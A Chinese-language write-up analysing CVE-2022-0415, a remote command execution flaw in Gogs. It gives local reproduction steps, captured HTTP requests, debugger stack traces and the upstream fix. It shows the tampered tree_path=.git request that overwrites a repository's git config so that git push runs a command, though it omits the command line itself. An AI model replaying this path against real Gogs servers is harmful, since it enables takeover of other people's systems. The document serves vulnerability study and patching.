CVE-2022-0415 gogs RCE 分析

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漏洞信息

gogs是一个golang开发的git web server项目。
CVE-2022-0415：在gogs/gogs 中上传仓库文件时的远程命令执行。
Remote Command Execution in uploading repository file in gogs/gogs

漏洞简介：
CVE-2022-0415，利用了gogs上传时缺乏对参数值的判断，实现了命令的注入；再根据git特性，命令可在gogs中被执行。

受影响版本：
0.12.6以下的都受影响。（不含0.12.6）

修复详情：
diff https://github.com/gogs/gogs/commit/0fef3c9082269e9a4e817274942a5d7c50617284
pull https://github.com/gogs/gogs/pull/6838

git的知识

根据git官方文档
https://git-scm.com/docs/git-config

core.sshCommand
If this variable is set, git fetch and git push will use the specified command instead of ssh when they need to connect to a remote system. The command is in the same form as the GIT_SSH_COMMAND environment variable and is overridden when the environment variable is set.

解释：
如果设置了sshCommand变量，当需要连接到远程系统时，git fetch 和 git push 将使用指定的命令,而不是 ssh。
该命令与 GIT_SSH_COMMAND 环境变量的格式相同，并在设置环境变量时被覆盖。

本机测试一下：

基本环境搭建

环境准备，我直接在macOS搭建环境了。

# 代码
git clone https://github.com/gogs/gogs/
# 切换到 v0.12.5版本。打了几个断点，后续可见。


# 配置数据库
mysqld
create  database gogs;

启动gogs

进行初次配置

创建了1个账户admin1并登录，创建了1个仓库repo1。

本地复现

访问http://localhost:3002/admin1/repo1 点击“上传文件”，上传文件。

上传一个名为config的文件。内容为：常规config文件，再根据官方文档，自行加上sshCommand即可。（就不写这一行了。）

[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    ignorecase = true
    precomposeunicode = true
[remote "origin"]
    url = [email protected]:torvalds/linux.git
    fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
    remote = origin
    merge = refs/heads/master

抓包-上传文件功能：
request1

POST /admin1/repo1/upload-file HTTP/1.1
Host: localhost:3002
Content-Length: 572
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="100"
X-CSRF-Token: YdUSVCYfWjcmMJa-_L8-zwaB7zQ6MTY0OTIzNzA0NTcxMzI2ODAwMA
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryofjLZyKNqVjTSLhL
Accept: application/json
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "macOS"
Origin: http://localhost:3002
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-CN; i_like_gogs=ea69248b2edcefa9; _csrf=YdUSVCYfWjcmMJa-_L8-zwaB7zQ6MTY0OTIzNzA0NTcxMzI2ODAwMA
Connection: close

------WebKitFormBoundaryofjLZyKNqVjTSLhL
Content-Disposition: form-data; name="file"; filename="config"
Content-Type: application/octet-stream

[core]
(上述配置文件的内容)
------WebKitFormBoundaryofjLZyKNqVjTSLhL--

response1

HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Date: Thu, 07 Apr 2022 06:43:54 GMT
Content-Length: 52
Connection: close

{
  "uuid": "85cdd4d7-41b4-45cc-9149-0c7364471286"
}

此时文件内容被保存至临时文件夹下的这个文件中.
/private/var/folders/r4/x0h2gfcj6rg3z4cv7r2rlgb00000gn/T/GoLand/data/tmp/uploads/8/5/85cdd4d7-41b4-45cc-9149-0c7364471286

第1个断点：repo_editor.go的316行

func UploadLocalPath(uuid string) string {

执行到此：看下变量与值
变量name 的值为字符串 config
目标路径 localPath 的值为字符串/private/var/folders/r4/x0h2gfcj6rg3z4cv7r2rlgb00000gn/T/GoLand/data/tmp/uploads/8/5/85cdd4d7-41b4-45cc-9149-0c7364471286

结合http请求可知，变量name为上传的文件名，是用户可控的。（一般要在这里做点操作）
文件内容实际被保存到了目标路径 localPath ，其中最后的字符串是自动生成的uuid，不可控。

此时的调用stack:

db.NewUpload (repo_editor.go:341) gogs.io/gogs/internal/db
repo.UploadFileToServer (editor.go:545) gogs.io/gogs/internal/route/repo
runtime.call16 (asm_arm64.s:507) runtime
<autogenerated>:2
reflect.Value.call (value.go:556) reflect
reflect.Value.Call (value.go:339) reflect
inject.(*injector).callInvoke (inject.go:177) github.com/go-macaron/inject
inject.(*injector).Invoke (inject.go:137) github.com/go-macaron/inject
macaron.(*Context).run (context.go:121) gopkg.in/macaron.v1
macaron.(*Context).Next (context.go:112) gopkg.in/macaron.v1
session.Sessioner.func1 (session.go:192) github.com/go-macaron/session
macaron.ContextInvoker.Invoke (context.go:79) gopkg.in/macaron.v1
inject.(*injector).fastInvoke (inject.go:157) github.com/go-macaron/inject
inject.(*injector).Invoke (inject.go:135) github.com/go-macaron/inject
macaron.(*Context).run (context.go:121) gopkg.in/macaron.v1
macaron.(*Context).Next (context.go:112) gopkg.in/macaron.v1
macaron.Recovery.func1 (recovery.go:161) gopkg.in/macaron.v1
macaron.LoggerInvoker.Invoke (logger.go:40) gopkg.in/macaron.v1
inject.(*injector).fastInvoke (inject.go:157) github.com/go-macaron/inject
inject.(*injector).Invoke (inject.go:135) github.com/go-macaron/inject
macaron.(*Context).run (context.go:121) gopkg.in/macaron.v1
macaron.(*Router).Handle.func1 (router.go:187) gopkg.in/macaron.v1
macaron.(*Router).ServeHTTP (router.go:303) gopkg.in/macaron.v1
macaron.(*Macaron).ServeHTTP (macaron.go:220) gopkg.in/macaron.v1
http.serverHandler.ServeHTTP (server.go:2916) net/http
http.(*conn).serve (server.go:1966) net/http
http.(*Server).Serve.func3 (server.go:3071) net/http
runtime.goexit (asm_arm64.s:1259) runtime
 - Async Stack Trace
http.(*Server).Serve (server.go:3071) net/http

（此时server文件系统中已经有文件了只不过路径不可控，是uuid结尾的）

继续，点击“提交变更”

抓到请求
request2

POST /admin1/repo1/_upload/master/ HTTP/1.1
Host: localhost:3002
Content-Length: 195
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="100"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-CN; i_like_gogs=1e6fcd3311b0b672; _csrf=E_P0IOSWdRSGfzood1cFb1pxwJI6MTY0OTMxNTI2MjU3NjQ2NzAwMA
Connection: close

_csrf=E_P0IOSWdRSGfzood1cFb1pxwJI6MTY0OTMxNTI2MjU3NjQ2NzAwMA&tree_path=.git&files=0e25760b-f51a-46bb-9511-32b5047aab43&commit_summary=sum&commit_message=desc&commit_choice=direct&new_branch_name=

将tree_path的值修改为.git
发出http请求。

第2个断点：repo_editor.go的452行

func (repo *Repository) UploadRepoFiles(doer *User, opts UploadRepoFileOptions) (err error) {

执行到此，然后一行一行往下跟进。
第484-499行是个for循环，作用是复制：变量uploads中的每个文件。
把每个路径 tmpPath（整个不可控：路径不可控，最后的文件名是uuid也不可控），复制到targetPath。targetPath是否是可控的呢？

看下变量与值，我在自己mac系统下调试时，targetPath的值为 /private/var/folders/r4/x0h2gfcj6rg3z4cv7r2rlgb00000gn/T/GoLand/data/tmp/local-repo/7/.git/config

根据下面这一行代码：可知targetPath的值由dirPath和upload.Name 拼接而成。

targetPath := path.Join(dirPath, upload.Name)

仔细看targetPath的值：
request1中的filename 即变量upload.Name 值为字符串config 【用户可控】会检查该变量是否包含字符串.git 所以不在这儿考虑了
request2中的tree_path 即变量TreePath 值为字符串.git 【用户可控】不会检查该变量是否包含字符串.git 就是利用这里。

附：做检查的函数 isRepositoryGitPath的函数体。

// isRepositoryGitPath returns true if given path is or resides inside ".git" path of the repository.
func isRepositoryGitPath(path string) bool {
   return strings.HasSuffix(path, ".git") || strings.Contains(path, ".git"+string(os.PathSeparator))
}

（for循环复制完成之后）
此时，目标路径targetPath被写入了内容，即local-repo某个子文件夹下的.git/config文件被覆盖。（也就为后面命令执行打了基础，只需要想办法执行git pull/push 就行了）

执行到501行，执行 git add操作：

执行到515行，在localPath下执行git push
就在此时，会执行命令 .git/config文件中的core.sshCommand的值！

跟进git-module

此时，命令执行完成。
gogs server端会打印出报错信息，但并不影响web应用的运行，和当前的命令执行。

此时的stack:

db.(*Repository).UploadRepoFiles (repo_editor.go:515) gogs.io/gogs/internal/db
repo.UploadFilePost (editor.go:493) gogs.io/gogs/internal/route/repo
runtime.call128 (asm_arm64.s:510) runtime
<autogenerated>:2
reflect.Value.call (value.go:556) reflect
reflect.Value.Call (value.go:339) reflect
inject.(*injector).callInvoke (inject.go:177) github.com/go-macaron/inject
inject.(*injector).Invoke (inject.go:137) github.com/go-macaron/inject
macaron.(*Context).run (context.go:121) gopkg.in/macaron.v1
macaron.(*Context).Next (context.go:112) gopkg.in/macaron.v1
session.Sessioner.func1 (session.go:192) github.com/go-macaron/session
macaron.ContextInvoker.Invoke (context.go:79) gopkg.in/macaron.v1
inject.(*injector).fastInvoke (inject.go:157) github.com/go-macaron/inject
inject.(*injector).Invoke (inject.go:135) github.com/go-macaron/inject
macaron.(*Context).run (context.go:121) gopkg.in/macaron.v1
macaron.(*Context).Next (context.go:112) gopkg.in/macaron.v1
macaron.Recovery.func1 (recovery.go:161) gopkg.in/macaron.v1
macaron.LoggerInvoker.Invoke (logger.go:40) gopkg.in/macaron.v1
inject.(*injector).fastInvoke (inject.go:157) github.com/go-macaron/inject
inject.(*injector).Invoke (inject.go:135) github.com/go-macaron/inject
macaron.(*Context).run (context.go:121) gopkg.in/macaron.v1
macaron.(*Router).Handle.func1 (router.go:187) gopkg.in/macaron.v1
macaron.(*Router).ServeHTTP (router.go:303) gopkg.in/macaron.v1
macaron.(*Macaron).ServeHTTP (macaron.go:220) gopkg.in/macaron.v1
http.serverHandler.ServeHTTP (server.go:2916) net/http
http.(*conn).serve (server.go:1966) net/http
http.(*Server).Serve.func3 (server.go:3071) net/http
runtime.goexit (asm_arm64.s:1259) runtime
 - Async Stack Trace
http.(*Server).Serve (server.go:3071) net/http

到这里就跟完了。知道了如何实现命令执行。

官方修复

根据diff可知 https://github.com/gogs/gogs/commit/0fef3c9082269e9a4e817274942a5d7c50617284

internal/db/repo_editor.go 增加了对TreePath的检测(还是使用isRepositoryGitPath函数)，所以TreePath也不能包含字符串.git了。

// Prevent uploading files into the ".git" directory
    if isRepositoryGitPath(opts.TreePath) {
        return errors.Errorf("bad tree path %q", opts.TreePath)
    }

附：做检查的函数 isRepositoryGitPath的函数体。

// isRepositoryGitPath returns true if given path is or resides inside ".git" path of the repository.
func isRepositoryGitPath(path string) bool {
   return strings.HasSuffix(path, ".git") || strings.Contains(path, ".git"+string(os.PathSeparator))
}